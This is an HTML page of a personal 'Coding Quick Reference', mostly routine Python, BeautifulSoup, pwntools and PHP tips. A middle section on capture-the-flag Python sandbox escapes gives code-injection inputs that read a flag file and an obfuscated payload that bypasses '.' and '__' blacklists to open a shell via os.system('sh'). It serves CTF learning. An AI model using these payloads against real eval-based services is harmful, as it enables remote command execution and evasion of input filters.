forked from bitvijays/bitvijays.github.io
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathLFC-CodingQuickRef.html
447 lines (431 loc) · 27.8 KB
/
LFC-CodingQuickRef.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
<!doctype html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=Edge" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-92365403-1']);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script>
<title>Coding Quick Reference — tech.bitvijays.com</title>
<link rel="stylesheet" href="_static/bizstyle.css" type="text/css" />
<link rel="stylesheet" href="_static/pygments.css" type="text/css" />
<script type="text/javascript" id="documentation_options" data-url_root="./" src="_static/documentation_options.js"></script>
<script type="text/javascript" src="_static/jquery.js"></script>
<script type="text/javascript" src="_static/underscore.js"></script>
<script type="text/javascript" src="_static/doctools.js"></script>
<script type="text/javascript" src="_static/bizstyle.js"></script>
<link rel="search" title="Search" href="search.html" />
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<!--[if lt IE 9]>
<script type="text/javascript" src="_static/css3-mediaqueries.js"></script>
<![endif]-->
</head><body>
<div class="related" role="navigation" aria-label="related navigation">
<h3>Navigation</h3>
<ul>
<li class="nav-item nav-item-0"><a href="index.html">tech.bitvijays.com</a> »</li>
</ul>
</div>
<div class="sphinxsidebar" role="navigation" aria-label="main navigation">
<div class="sphinxsidebarwrapper">
<h3><a href="index.html">Table Of Contents</a></h3>
<ul>
<li><a class="reference internal" href="#">Coding Quick Reference</a><ul>
<li><a class="reference internal" href="#python">Python</a><ul>
<li><a class="reference internal" href="#beautifulsoup">BeautifulSoup</a></li>
<li><a class="reference internal" href="#pwntools">PwnTools</a><ul>
<li><a class="reference internal" href="#pwn-templates">Pwn Templates</a></li>
</ul>
</li>
<li><a class="reference internal" href="#ctypes">ctypes</a></li>
</ul>
</li>
<li><a class="reference internal" href="#php">PHP</a></li>
<li><a class="reference internal" href="#burpsuite">BurpSuite</a></li>
</ul>
</li>
</ul>
<h3>This Page</h3>
<ul class="this-page-menu">
<li><a href="_sources/LFC-CodingQuickRef.rst.txt"
rel="nofollow">Show Source</a></li>
<li><a href="https://github.com/bitvijays/bitvijays.github.io-sphinx/blob/master/docs/LFC-CodingQuickRef.rst"
rel="nofollow">Show on GitHub</a></li>
<li><a href="https://github.com/bitvijays/bitvijays.github.io-sphinx/edit/master/docs/LFC-CodingQuickRef.rst"
rel="nofollow">Edit on GitHub</a></li>
</ul>
<div id="searchbox" style="display: none" role="search">
<h3>Quick search</h3>
<div class="searchformwrapper">
<form class="search" action="search.html" method="get">
<input type="text" name="q" />
<input type="submit" value="Go" />
<input type="hidden" name="check_keywords" value="yes" />
<input type="hidden" name="area" value="default" />
</form>
</div>
</div>
<script type="text/javascript">$('#searchbox').show(0);</script>
</div>
</div>
<div class="document">
<div class="documentwrapper">
<div class="bodywrapper">
<div class="body" role="main">
<div class="section" id="coding-quick-reference">
<h1>Coding Quick Reference<a class="headerlink" href="#coding-quick-reference" title="Permalink to this headline">¶</a></h1>
<div class="section" id="python">
<h2>Python<a class="headerlink" href="#python" title="Permalink to this headline">¶</a></h2>
<p>Use python</p>
<ul>
<li><p class="first">[::-1] means</p>
<p>Assumming a is a string. The Slice notation in python has the syntax -</p>
</li>
</ul>
<blockquote>
<div><div class="highlight-None notranslate"><div class="highlight"><pre><span></span>list[<start>:<stop>:<step>]
</pre></div>
</div>
<p>So, when you do a[::-1] , it starts from the end, towards the first, taking each element. So it reverses a. This is applicable for lists/tuples as well.</p>
<p>Example:</p>
<div class="highlight-None notranslate"><div class="highlight"><pre><span></span>>>> a = '1232'
>>> a[::-1]
'2321'
</pre></div>
</div>
</div></blockquote>
<ul class="simple">
<li>binascii.unhexlify(hexstr) to convert hex to string</li>
<li>base64.decodestring(str) to decode base64 string</li>
<li>Convert number to hex</li>
</ul>
<blockquote>
<div><div class="highlight-None notranslate"><div class="highlight"><pre><span></span>hex(15)
'0xf'
</pre></div>
</div>
</div></blockquote>
<ul class="simple">
<li>Convert hex to decimal</li>
</ul>
<blockquote>
<div><div class="highlight-None notranslate"><div class="highlight"><pre><span></span>s = "6a48f82d8e828ce82b82"
i = int(s, 16)
</pre></div>
</div>
</div></blockquote>
<ul class="simple">
<li>Extract numbers from a string: Use a regexp :</li>
</ul>
<blockquote>
<div><div class="highlight-None notranslate"><div class="highlight"><pre><span></span>>>> import re
>>> re.findall(r'\d+', 'hello 42 I\'m a 32 string 30')
['42', '32', '30']
</pre></div>
</div>
<p>This would also match 42 from bla42bla. If you only want numbers delimited by word boundaries (space, period, comma), you can use b :</p>
<div class="highlight-None notranslate"><div class="highlight"><pre><span></span>>>> re.findall(r'\b\d+\b', 'he33llo 42 I\'m a 32 string 30')
['42', '32', '30']
</pre></div>
</div>
</div></blockquote>
<ul class="simple">
<li>Extract string inside single quotes using python script</li>
</ul>
<blockquote>
<div><p>Use re.findall:</p>
<div class="highlight-None notranslate"><div class="highlight"><pre><span></span>>>> import re
>>> strs = """text:u'MUC-EC-099_SC-Memory-01_TC-25'
text:u'MUC-EC-099_SC-Memory-01_TC-26'
text:u'MUC-EC-099_SC-Memory-01_TC-27'"""
>>> re.findall(r"'(.*?)'", strs, re.DOTALL)
['MUC-EC-099_SC-Memory-01_TC-25',
'MUC-EC-099_SC-Memory-01_TC-26',
'MUC-EC-099_SC-Memory-01_TC-27'
]
</pre></div>
</div>
</div></blockquote>
<ul class="simple">
<li>ASCII value of a character in Python</li>
</ul>
<blockquote>
<div><p>function ord() would get the int value of the char. And in case you want to convert back after playing with the number, function chr() does the trick.</p>
<div class="highlight-None notranslate"><div class="highlight"><pre><span></span>>>> ord('a')
97
</pre></div>
</div>
</div></blockquote>
<ul class="simple">
<li>Solving Algebraic equations using python: Use sympy
Use solve() to solve algebraic equations. We suppose all equations are equaled to 0, so solving x**2 == 1 translates into the following code:</li>
</ul>
<blockquote>
<div><div class="highlight-None notranslate"><div class="highlight"><pre><span></span>>>> from sympy.solvers import solve
>>> from sympy import Symbol
>>> x = Symbol('x')
>>> solve(x**2 - 1, x)
[-1, 1]
</pre></div>
</div>
<p>The first argument for solve() is an equation (equaled to zero) and the second argument is the symbol that we want to solve the equation for.</p>
</div></blockquote>
<ul class="simple">
<li>AVL Tree Implementation in Python : <a class="reference external" href="https://github.com/pgrafov/python-avl-tree">python-avl-tree</a></li>
<li>Convert all strings in a list to int
So if we have:</li>
</ul>
<blockquote>
<div><div class="highlight-None notranslate"><div class="highlight"><pre><span></span>results = ['1', '2', '3']
</pre></div>
</div>
<p>How do I make it:</p>
<div class="highlight-None notranslate"><div class="highlight"><pre><span></span>results = [1, 2, 3]
Use the map function(in py2):
</pre></div>
</div>
<div class="highlight-None notranslate"><div class="highlight"><pre><span></span>results = map(int, results)
</pre></div>
</div>
<p>In py3:</p>
<div class="highlight-None notranslate"><div class="highlight"><pre><span></span>results = list(map(int, results))
</pre></div>
</div>
</div></blockquote>
<ul class="simple">
<li>Read the RGB value of a given pixel in Python?</li>
</ul>
<blockquote>
<div><div class="highlight-None notranslate"><div class="highlight"><pre><span></span>from PIL import Image
im = Image.open("dead_parrot.jpg") #Can be many different formats.
pix = im.load()
print im.size #Get the width and hight of the image for iterating over
print pix[x,y] #Get the RGBA Value of the a pixel of an image
pix[x,y] = value # Set the RGBA Value of the image (tuple)
im.save("alive_parrot.png") # Save the modified pixels as png
</pre></div>
</div>
</div></blockquote>
<ul>
<li><p class="first">Convert Text to Binary and back?</p>
<div class="highlight-None notranslate"><div class="highlight"><pre><span></span>>>> import binascii
>>> bin(int(binascii.hexlify('hello'), 16))
'0b110100001100101011011000110110001101111'
</pre></div>
</div>
</li>
</ul>
<blockquote>
<div><p>In reverse:</p>
<div class="highlight-None notranslate"><div class="highlight"><pre><span></span>>>> n = int('0b110100001100101011011000110110001101111', 2)
>>> binascii.unhexlify('%x' % n)
'hello'
</pre></div>
</div>
</div></blockquote>
<ul class="simple">
<li>function ord() would get the int value of the char. And in case you want to convert back after playing with the number, function chr() does the trick.</li>
</ul>
<blockquote>
<div><div class="highlight-None notranslate"><div class="highlight"><pre><span></span>>>> ord('a')
97
>>> chr(97)
'a'
>>> chr(ord('a') + 3)
'd'
</pre></div>
</div>
</div></blockquote>
<ul class="simple">
<li>String formating of numbers in python (Print 0000 - 9999)</li>
</ul>
<blockquote>
<div><div class="highlight-None notranslate"><div class="highlight"><pre><span></span>>>> for i in xrange(10):
... '{0:04}'.format(i)
...
'0000'
'0001'
</pre></div>
</div>
</div></blockquote>
<ul class="simple">
<li>Insert a newline character every 64 characters using Python</li>
</ul>
<blockquote>
<div><div class="highlight-None notranslate"><div class="highlight"><pre><span></span>s = "0123456789"*100 # test string
import re
print re.sub("(.{64})", "\\1\n", s, 0, re.DOTALL)
</pre></div>
</div>
</div></blockquote>
<ul>
<li><p class="first">Having a function where you can provide parameter in online webform? Like there is a function definition like def fun() where we can pass two arguments, that are interpreted.</p>
<div class="highlight-None notranslate"><div class="highlight"><pre><span></span>def fun(User_Input):
c = a + b
return c
</pre></div>
</div>
</li>
</ul>
<blockquote>
<div><p>Try</p>
<div class="highlight-None notranslate"><div class="highlight"><pre><span></span>1. a,b=dir()[0]
2. a,b=print("Hello")
3. a,b=print(exec("import os"),eval("os.listdir('.')"))
Cat a file?
1. a, b, c = __import__('os').system('cat FLAG')
2. a,b=print(open("FLAG", "r").read())
</pre></div>
</div>
<p>The above should work fine till there are no blacklist wordlist provided.</p>
<p>Let’s craft a payload to bypass the blacklist.</p>
<p>Create a string class (also works with list or dict)</p>
<div class="highlight-None notranslate"><div class="highlight"><pre><span></span>>>> ''.__class__
<class 'str'>
</pre></div>
</div>
<p>Now we need the parent class, there is two ways:</p>
<div class="highlight-None notranslate"><div class="highlight"><pre><span></span>>>> ''.__class__.__base__
<class 'object'>
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> ''.__class__.__mro__[1]
<class 'object'>
</pre></div>
</div>
<p>Now we have the object class. So we can access to all the child classes:</p>
<div class="highlight-None notranslate"><div class="highlight"><pre><span></span>>>> ''.__class__.__base__.__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'moduledef'>, <class 'module'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class 'zipimport.zipimporter'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'rlcompleter.Completer'>]
</pre></div>
</div>
<p>Let’s find a more suitable way to access the subclasses by index:</p>
<div class="highlight-None notranslate"><div class="highlight"><pre><span></span>>>> for i,val in enumerate(''.__class__.__mro__[1].__subclasses__()):
... print(i,': ',val)
</pre></div>
</div>
<p>Using __init__ to initialize the class and __globals__ to access the global namespace of the module in which the function was defined.</p>
<p><a class="reference external" href="https://github.com/kimtruth/GoN-Write-up">pyjail WU</a> was able to call <cite>sys</cite> from <cite>codecs.StreamReaderWriter</cite> class.</p>
<div class="highlight-None notranslate"><div class="highlight"><pre><span></span>''.__class__.__mro__[1].__subclasses__()[104]
<class 'codecs.StreamReaderWriter'>`
</pre></div>
</div>
<p>So from this namespace we are able to call sys.</p>
<div class="highlight-None notranslate"><div class="highlight"><pre><span></span>>>> ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"]
<module 'sys' (built-in)>
</pre></div>
</div>
<p>Then it’s easy to import os:</p>
<div class="highlight-None notranslate"><div class="highlight"><pre><span></span>>>> ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"]
<module 'os' from '/usr/lib/python3.7/os.py'>
</pre></div>
</div>
<p>And finally using system method to launch a system command and read the flag:</p>
<div class="highlight-None notranslate"><div class="highlight"><pre><span></span>''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("cat FLAG")
</pre></div>
</div>
<p>However if “.” and “__” are also blacklisted then we can use</p>
<ul class="simple">
<li>Without . to call method, we can use getattr instead</li>
<li>Without __import__, we can use catch_warnings in {}.__class__.__base__.__subclasses__()</li>
</ul>
<div class="highlight-None notranslate"><div class="highlight"><pre><span></span>{}.__class__.__base__.__subclasses__()[[i.__name__ == "catch_warnings" for i in {}.__class__.__base__.__subclasses__()].index(True)] this will give me catch_warnings
{}.__class__.__base__.__subclasses__()[[i.__name__ == "catch_warnings" for i in {}.__class__.__base__.__subclasses__()].index(True)]()._module.__builtins__["__import__"]("os").system("sh") this will give me shell
</pre></div>
</div>
<p>Then we just need to change . to getattr, and _ to dir(0)[0][0]
Final payload :</p>
<div class="highlight-None notranslate"><div class="highlight"><pre><span></span>getattr(getattr(getattr(getattr(getattr(getattr((), dir(0)[0][0]*2+"class"+dir(0)[0][0]*2), dir(0)[0][0]*2+"base"+dir(0)[0][0]*2), dir(0)[0][0]*2+"subcl"+"asses"+dir(0)[0][0]*2)()[getattr([getattr(i, dir(0)[0][0]*2+"name"+dir(0)[0][0]*2) == "catch"+dir(0)[0][0]+"warnings" for i in getattr(getattr(getattr((), dir(0)[0][0]*2+"class"+dir(0)[0][0]*2), dir(0)[0][0]*2+"base"+dir(0)[0][0]*2), dir(0)[0][0]*2+"subcl"+"asses"+dir(0)[0][0]*2)()], "index")(True)](), dir(0)[0][0]+"module"), dir(0)[0][0]*2+"builtins"+dir(0)[0][0]*2)[dir(0)[0][0]*2+"imp"+"ort"+dir(0)[0][0]*2]("o"+"s"), "sy"+"stem")("sh")
</pre></div>
</div>
</div></blockquote>
<div class="section" id="beautifulsoup">
<h3>BeautifulSoup<a class="headerlink" href="#beautifulsoup" title="Permalink to this headline">¶</a></h3>
<p>A tag may have any number of attributes. The tag <b id=”boldest”> has an attribute “id” whose value is “boldest”. You can access a tag’s attributes by treating the tag like a dictionary:</p>
<p>tag[‘id’]
# u’boldest’</p>
<p>You can access that dictionary directly as .attrs:</p>
<p>tag.attrs
# {u’id’: ‘boldest’}</p>
<p>and read the tag value using</p>
<p>print(tag.get(‘id’))</p>
<p>If you have something like</p>
<div class="highlight-None notranslate"><div class="highlight"><pre><span></span><form id="form_product_page" name="form_1362737440" action="/download/791055/164084/" method="get">
<input id="nojssubmit" type="submit" value="Download" />
</form>
</pre></div>
</div>
<p>and want action value we can</p>
<div class="highlight-None notranslate"><div class="highlight"><pre><span></span>action = soup.find('form', id='form_product_page').get('action')
</pre></div>
</div>
</div>
<div class="section" id="pwntools">
<h3>PwnTools<a class="headerlink" href="#pwntools" title="Permalink to this headline">¶</a></h3>
<p>Importing</p>
<div class="highlight-None notranslate"><div class="highlight"><pre><span></span>>>> from pwn import *
</pre></div>
</div>
<p>Making Connections</p>
<div class="highlight-None notranslate"><div class="highlight"><pre><span></span>conn = remote('ftp.ubuntu.com',21)
</pre></div>
</div>
<p>Receiving Lines</p>
<div class="highlight-None notranslate"><div class="highlight"><pre><span></span>conn.recvline()
conn.recvuntil(' ', drop=True)
</pre></div>
</div>
<p>Sending Lines</p>
<div class="highlight-None notranslate"><div class="highlight"><pre><span></span>conn.send('USER anonymous\r\n')
conn.sendline('Hello')
</pre></div>
</div>
<div class="section" id="pwn-templates">
<h4>Pwn Templates<a class="headerlink" href="#pwn-templates" title="Permalink to this headline">¶</a></h4>
<p><a class="reference external" href="https://github.com/Gallopsled/pwntools/pull/909">pwn template</a> command can be used for generating templates.</p>
</div>
</div>
<div class="section" id="ctypes">
<h3>ctypes<a class="headerlink" href="#ctypes" title="Permalink to this headline">¶</a></h3>
<p>A foreign function library for Python. It provides C compatible data types, and allows calling functions in DLLs or shared libraries. It can be used to wrap these libraries in pure Python. ctypes exports the cdll, and on Windows windll and oledll objects, for loading dynamic link libraries.</p>
</div>
</div>
<div class="section" id="php">
<h2>PHP<a class="headerlink" href="#php" title="Permalink to this headline">¶</a></h2>
<ul class="simple">
<li>mysqli_real_escape_string — Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection.</li>
<li>filter_var — Filters a variable with a specified filter. There are multiple types of <a class="reference external" href="http://php.net/manual/en/filter.filters.php">filter</a> such as Validate, Sanitize etc.</li>
</ul>
</div>
<div class="section" id="burpsuite">
<h2>BurpSuite<a class="headerlink" href="#burpsuite" title="Permalink to this headline">¶</a></h2>
<ol class="arabic simple">
<li>In a new tab, type or paste <a class="reference external" href="about:config">about:config</a> in the address bar and press Enter/Return. Click the button promising to be careful.</li>
<li>In the search box above the list, type or paste captiv and pause while the list is filtered</li>
</ol>
<p>(3) Double-click the network.captive-portal-service.enabled preference to switch the value from true to false
If you are in a managed environment using an autoconfig file, for example, you could use this to switch the default:
user_pref(“network.captive-portal-service.enabled”, false);</p>
</div>
</div>
</div>
</div>
</div>
<div class="clearer"></div>
</div>
<div class="related" role="navigation" aria-label="related navigation">
<h3>Navigation</h3>
<ul>
<li class="nav-item nav-item-0"><a href="index.html">tech.bitvijays.com</a> »</li>
</ul>
</div>
<div class="footer" role="contentinfo">
© Copyright 2017, Vijay Kumar.
</div>
</body>
</html>